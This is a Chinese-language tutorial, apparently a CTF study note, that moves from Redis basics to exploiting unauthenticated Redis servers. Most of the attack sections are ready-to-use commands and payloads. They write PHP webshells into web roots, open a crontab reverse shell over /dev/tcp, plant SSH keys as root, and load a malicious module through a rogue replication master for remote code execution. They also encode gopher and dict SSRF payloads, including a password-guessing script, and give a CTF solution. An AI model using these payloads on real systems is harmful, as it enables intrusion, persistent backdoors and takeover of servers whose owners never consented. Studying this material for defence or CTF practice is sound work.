redis基础
一些基础操作
redis是一个key-value
型数据库,详细基础知识可以参考:https://www.runoob.com/redis,这里把一些要点给罗列出来
ubuntu 安装 redis
sudo apt-get update
sudo apt-get install redis-server
启动 redis 和 client 客户端连接
redis-server
指的是 redis 服务器,可以使用-port
指定端口,默认是6379
redis-server
redis-cli
指的是 redis 命令行客户端
redis-cli -h 127.0.0.1 -p 6379
设置键值对
分别用set
和get
来设置和获取键值对,用keys *
获取redis
中所有可用的key
127.0.0.1:6379> set a 1
OK
127.0.0.1:6379> get a
"1"
127.0.0.1:6379> keys *
1) "a"
配置查看和修改
redis 的配置文件名为redis.conf
,在 windows 下为redis.windows.conf
,我们可以通过config
命令获取配置项等,这里有两个特别注意一下就是dir
指定本地数据库存放目录,dbfilename
指定本地数据库文件名,默认值为dump.rdb
127.0.0.1:6302> config get *
...
127.0.0.1:6302> config get dir
1) "dir"
2) "/data"
127.0.0.1:6302> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
然后修改的话可以使用set
127.0.0.1:6379> config set loglevel "notice"
OK
127.0.0.1:6379> config get loglevel
1) "loglevel"
2) "notice"
数据类型
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)
redis协议
redis 使用的是 resp 协议,通过 wireshark 抓本地的包,然后设置连上 redis 再设置个键值对观察一下他的协议格式
*3
表示set a 1
这样的以空格为分割的元组的属性个数$3
表示set
的长度,同理往下的$
都是表示长度
所以可以得出 redis 协议的格式如下
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
注意这里每一行后面都是由CRLF终止的
两种持久化运作方案
RDB
RDB是对 redis 中的数据执行周期性的持久化,通过配置文件中设置检查间隔时间与备份触发条件来对数据进行周期性的持久化
AOE
AOF机制对每条写入命令作为日志记录,以append-only
的模式写入一个日志文件中,在 redis 重启的时候,可以通过回放AOF日志中的写入指令来重新构建整个数据集
更多可以参考:http://redis.io/topics/persistence
未授权访问的利用
这个漏洞产生的原因是 redis 直接绑定在 0.0.0.0:6379 上,并且默认情况下密码会为空,也就是说没对访问IP,端口进行限制,以及设置密码等措施,那么攻击者就可以未授权访问 redis,从而进行写 webshell 等一系列的操作
然后 redis 的版本是在3.2以上的话,复现时需要编辑修改/etc/redis/redis.conf
文件
注释
bind 127.0.0.1
protected-mode
的值设为 no
修改为之后关闭 redis 进程,在使用kill -9 pid
仍然无法停止 redis 的话,可以使用如下命令
/etc/init.d/redis-server stop
然后用如下命令重新启动 redis
sudo redis-server /etc/redis/redis.conf
写webshell
利用 redis 备份文件向 web 根目录写 webshell,使用条件:
已知网站根目录
有文件读写权限
┌──(root kali)-[~]
└─# redis-cli -h 192.168.0.103 -p 6379
192.168.0.103:6379> config set dir /var/www/html
OK
192.168.0.103:6379> config set dbfilename shell.php
OK
192.168.0.103:6379> set shell "<?php eval($_GET[1]);?>"
OK
192.168.0.103:6379> save
OK
可以看到我们已经成功的写入
还有就是执行flushall
的话,会删掉 redis 内的全部键值对
crontab反弹shell
写定时任务的两个文件:
/var/spool/cron/
目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>
,Centos 系统则在/var/spool/cron/<username>
/etc/crontab
这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限
bash 反弹 shell
这种方法在 ubuntu 不能够使用,原因有两个
如果写
/etc/crontab
文件,会夹杂脏数据导致命令语法报错如果写
/var/spool/cron/crontabs/<username>
文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root)
,并且写这个文件也会语法报错
但是在 centos 上则不会,所以在 centos 上可以使用这种方法
config set dir /var/spool/cron
config set dbfilename root
set shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save
写ssh-key
使用条件比较苛刻:
redis 是以 root 权限启动
允许密钥登陆
一般 ssh 公钥存放目录为/root/.ssh
,目的就是将自己的公钥写入目标服务器的/root/.ssh
文件夹的authotrized_keys
文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下
在本地生成公私钥
ssh-keygen -t rsa
将公钥写入临时文件中
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/rsa.txt
同样的使用 config 写入文件
cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa
redis-cli -h ip -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh登录
ssh -i id_rsa root@ip
网上有利用脚本:https://github.com/JoyChou93/hackredis
主从复制
主从复制基础
主从复制,是指将一台 Redis 服务器的数据,复制到其他的 Redis 服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点,从机只负责读,主机只负责写
默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点,从节点也可以设置为其他节点的主节点,此时就达成了一个集群
然后起两个 redis5.0 的 docker
docker run -p 6301:6379 -d redis:5.0 redis-server
docker run -p 6302:6379 -d redis:5.0 redis-server
主节点端口:
master:6301
从节点端口:
slave:6302
从节点要复制主节点命令slaveof ip port
要断开则用slaveof no one
这里可以看出主节点的操作会和从节点同步
通常在 redis4.0 以前可以把 shell 写进主节点的键值对里面,然后通过主从复制把 shell 复制过来,而在 4.x 和 5.x 则可以通过外部拓展,构造恶意.so
文件,然后用 python 起一个服务去模拟 redis 的主节点,并且在全量复制的时候把数据库文件替换成恶意.so
文件,从而达到 rce
主从复制RCE
配合模块加载 rce
在配合主从复制之前,先了解一下模块加载是什么回事,redis 从 4.0 版本开始加入了对外部扩展模块的支持,模块的加载方式:
一种是在配置文件
redis.conf
中使用loadmodule /path/to/mymodule.so
在 redis 启动时加载另一种方式在运行时使用命令
MODULE LOAD /path/to/mymodule.so
加载。加载的模块可以使用命令MODULE LIST
查看,使用MODULE UNLOAD mymodule
卸载
这里为了方便直接把.so
文件复制到容器里面
docker cp /home/kawhi/jiaoben/RedisModules-ExecuteCommand-master/module.so modest_nobel:/data/exp.so
然后执行
module load /data/exp.so
system.exec "whoami"
可以看到已经漏洞利用成功
再说回到主从复制中,主节点可以通过 fullresync (全量复制)同步.so
文件到从节点上,进而执行命令,复现过程需要两个脚本:
生成.so
文件:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
恶意端:https://github.com/LoRexxar/redis-rogue-server
原理就是通过模拟恶意服务端来作为主节点,并模拟fullresync
请求,我们将生成的so
文件放到恶意端的脚本目录下,然后运行
然后使用system.exec "whoami"
的形式来执行命令
可以看到已经成功执行命令
或者可以用vulhub
的脚本:https://github.com/vulhub/redis-rogue-getshell
SSRF与redis
ssrf 打 redis 就是将上面的未授权访问的一些方法伪造成 redis 的数据,然后进行编码,再通过 gopher 协议等发送到存在 redis 的服务器上
gopher协议的利用
gopher 协议默认端口是70,因为他支持多行所以需要加一个字符被他吃掉,使用格式gopher://ip:port/_data
,我们可以通过它来发送 redis 的数据,比如设置一个键值对
import urllib
import requests
test =\
"""*3
$3
set
$5
kawhi
$3
123
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
#_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Akawhi%0D%0A%243%0D%0A123%0D%0A
gopher协议猜测弱口令
我们可以使用 gopher 协议来猜测 redis 的弱口令
首先在redis-cli
连上之后使用config set requirepass "123456"
设置 redis 的密码
或者直接修改redis.conf
文件
sed -i 's/#requirepass 123456/requirepass 123456/g' /etc/redis/redis.conf
我们设置好密码之后可以抓包看到其实是发送了这么一段命令
而这是可以进行伪造的,脚本如下
import urllib
import requests
test =\
"""*2
$4
AUTH
$6
123456
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
如果密码正确的话,会回显+ok
密码错误则会报错
由此我们甚至可以写一个脚本来爆破弱口令
gopher协议主从复制
因为我们需要将slave of
命令通过 ssrf 的 gopher 协议发到目标机上,所以没办法像上面一样用脚本一键rce,我们可以用一个被动连接的主机来进行主从复制,脚本地址:https://github.com/Dliv3/redis-rogue-server
我们可以先在 redis 的客户端试一下能不能行,如下
发现已经漏洞成功利用,然后再把上面的命令转成 redis 的协议格式,
*4
$6
config
$3
set
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$7
slaveof
$13 //ip长度
192.168.2.105 //ip
$5 //端口长度
21000 //端口
*3
$6
module
$4
load
$11
/tmp/exp.so
*2
$11
system.exec
$2
id
*1
$4
quit
再用上面的脚本编码即可
gopher协议其他部分
剩余部分的未授权访问利用也是差不多的,就不赘述了,也可以直接用以下工具编码
可以webshell\定时任务\密钥\模块加载等功能,地址:
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
或者这个工具gopherus可以webshell\定时任务一键生成
https://github.com/tarunkant/Gopherus
dict协议的利用
我们知道 dict 协议通常是可以用来探测端口信息的,例如
curl dict://127.0.0.1:6379/info
但是 dict 协议还有一个功能就是利用格式如dict://serverip:port/命令:参数
来发送 redis 命令,例如
curl "dict://192.168.2.107:6379/set:kawhi:123456"
这里的:
也可以换成空格
dict协议写shell
如果我们换成
curl "dict://192.168.2.107:6379/set:shell:<?php phpinfo();?>"
会发现只接收到一部分,?
号后面被截断了
192.168.2.107:6379> get shell
"<"
有三种方法可以绕过
第一种
这里可以参考这篇文章的绕过方法:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ
主要是把<?
等特殊符号转义编码了
link.php?u=dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"
link.php?u=dict://0:6379/config:set:dir:/var/www/html/
link.php?u=dict://0:6379/config:set:dbfilename:shell.php
link.php?u=dict://0:6379/save
第二种
可以参考文章:一次"SSRF-->RCE"的艰难利用
这里主要是用 bitop 命令绕过?
截断
bitop 可以将 key 进行AND(逻辑并)、OR(逻辑或)、XOR(逻辑异或)、NOT(逻辑非)四种操作中的任意一种,将结果保存到 destkey 上,这里直接给出郁离歌师傅的 payload
dict://0:6379/set:shell:"\xc3\xc0\x8f\x97\x8f\xdf\xbf\x9a\x89\x9e\x93\xd7\xdb\xa0\xaf\xb0\xac\xab\xa4\xce\xa2\xd6\xc4\xc0\xc1"
dict://0:6379/bitop:not:shell:shell
可以发现写入了一句话木马
192.168.2.112:6379> get shell
"<?php @eval($_POST[1]);?>"
第三种
主要是利用 setbit 改动二进制的位置即可把字符变回特殊字符
Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)
这里直接给出郁离歌师傅的 payload
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK
dict协议主从复制
和上面差不多,这里提前在主节点设置一个键值对
192.168.2.112:6301> set shell "<?php phpinfo();?>"
OK
然后用dict
协议进行主从复制
dict://0:6379/slaveof:192.168.2.112:6301
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one
要加载.so
恶意文件的话,像上面那样启动个 python 的 redis 被动连接服务即可
dict协议其他部分
这里贴下郁离歌师傅写的,dict
协议并不能像上面gopher
协议那样来猜测弱口令
经典例题
gactf2020 ssrfme
因为没有环境复现,可以参考:https://my.oschina.net/u/4593189/blog/4646830
网鼎杯 玄武 - SSRFMe
在buu平台可以复现
第一步利用 curl 和 parse_url 绕过的小trick
?url=http://www.baidu@0.0.0.0/hint.php
然后得到提示:redispass is root,可得知 redis 的弱口令是root,然后用上面的 gopher 协议主从复制去打,在自己的vps上启动被动链接
*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$2 //vpsip长度
ip //vpsip地址
$5
21000
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$13
cat${IFS}/fl*
*1
$4
quit
用上面的脚本编码之后再手动 url 编码一次,用 gopher 协议发过去即可